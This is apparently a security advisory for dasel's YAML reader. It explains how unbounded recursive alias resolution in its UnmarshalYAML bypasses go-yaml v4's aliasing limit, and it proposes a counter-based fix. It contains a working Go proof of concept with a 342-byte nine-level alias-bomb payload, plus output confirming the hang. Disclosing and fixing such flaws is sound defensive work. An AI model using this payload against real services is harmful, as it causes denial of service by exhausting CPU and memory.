Summary

dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own UnmarshalYAML implementation, which manually resolves alias nodes by recursively following yaml.Node.Alias pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit.

The issue issue is on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on the current default branch at commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. It is also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.

Details

In v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8), the reachable call path is:

• The YAML reader is registered in parsing/yaml/yaml.go and exposed via parsing.Format("yaml").NewReader()
• (*yamlReader).Read in parsing/yaml/yaml_reader.go#L23-L48 uses yaml.NewDecoder to decode the input. Because yamlValue implements UnmarshalYAML(*yaml.Node), the decoder passes the raw *yaml.Node tree to that custom unmarshaler
• (*yamlValue).UnmarshalYAML in parsing/yaml/yaml_reader.go#L57-L131 walks the Node tree
• When an AliasNode is encountered, the handler at parsing/yaml/yaml_reader.go#L119-L126 recursively calls newVal.UnmarshalYAML(value.Alias) without tracking expansion count

The root cause is that go-yaml v4 has two decoding paths:

1. Unmarshal into Go values: Tracks alias expansion count and rejects documents with excessive aliasing ("yaml: document contains excessive aliasing").
2. Decode into yaml.Node / custom UnmarshalYAML: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.

Dasel receives the compact Node tree via its UnmarshalYAML(*yaml.Node) hook and then recursively follows value.Alias pointers, re-expanding aliases without a budget:

case yaml.AliasNode:
    newVal := &yamlValue{}
    if err := newVal.UnmarshalYAML(value.Alias); err != nil {
        return err
    }
    yv.value = newVal.value
    yv.value.SetMetadataValue("yaml-alias", value.Value)

With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.

Test environment:

• MacBook Air (Apple M2), macOS / Darwin arm64
• Go 1.26.1
• dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)
• go.yaml.in/yaml/v4 v4.0.0-rc.3

PoC

package main

import (
	"fmt"
	"runtime"
	"time"

	"github.com/tomwright/dasel/v3/parsing"
	_ "github.com/tomwright/dasel/v3/parsing/yaml"
	"go.yaml.in/yaml/v4"
)

func main() {
	payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
`

	fmt.Printf("Payload size: %d bytes\n", len(payload))
	fmt.Printf("Go version: %s\n", runtime.Version())
	fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
	fmt.Println()

	// 1. go-yaml v4 Unmarshal correctly rejects this
	fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===")
	{
		var v interface{}
		start := time.Now()
		err := yaml.Unmarshal([]byte(payload), &v)
		elapsed := time.Since(start)
		if err != nil {
			fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err)
		} else {
			fmt.Printf("VULNERABLE: Completed in %v\n", elapsed)
		}
	}
	fmt.Println()

	// 2. Dasel's YAML reader is vulnerable
	fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===")
	done := make(chan string, 1)
	go func() {
		reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions())
		if err != nil {
			done <- fmt.Sprintf("Error creating reader: %v", err)
			return
		}
		start := time.Now()
		_, err = reader.Read([]byte(payload))
		elapsed := time.Since(start)
		if err != nil {
			done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
		} else {
			done <- fmt.Sprintf("Completed in %v", elapsed)
		}
	}()

	select {
	case result := <-done:
		fmt.Println(result)
	case <-time.After(5 * time.Second):
		fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress")
	}
}

Observed output on v3.3.1 in the test environment above:

Payload size: 342 bytes
Go version: go1.26.1
GOARCH: arm64

=== Test 1: Direct yaml.Unmarshal (should be rejected) ===
SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing

=== Test 2: Dasel YAML reader (VULNERABLE) ===
CONFIRMED: did not complete within 5s; unbounded alias expansion in progress

Impact

An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own UnmarshalYAML handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.

This affects:

• CLI usage: when reading YAML from stdin or files via the CLI
• Library usage: any application using dasel's YAML reader to parse untrusted YAML
• The parse("yaml", ...) function in selectors

Suggested Fix

One likely fix is to add an alias expansion counter to UnmarshalYAML that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).

References

• GHSA-4fcp-jxh7-23x8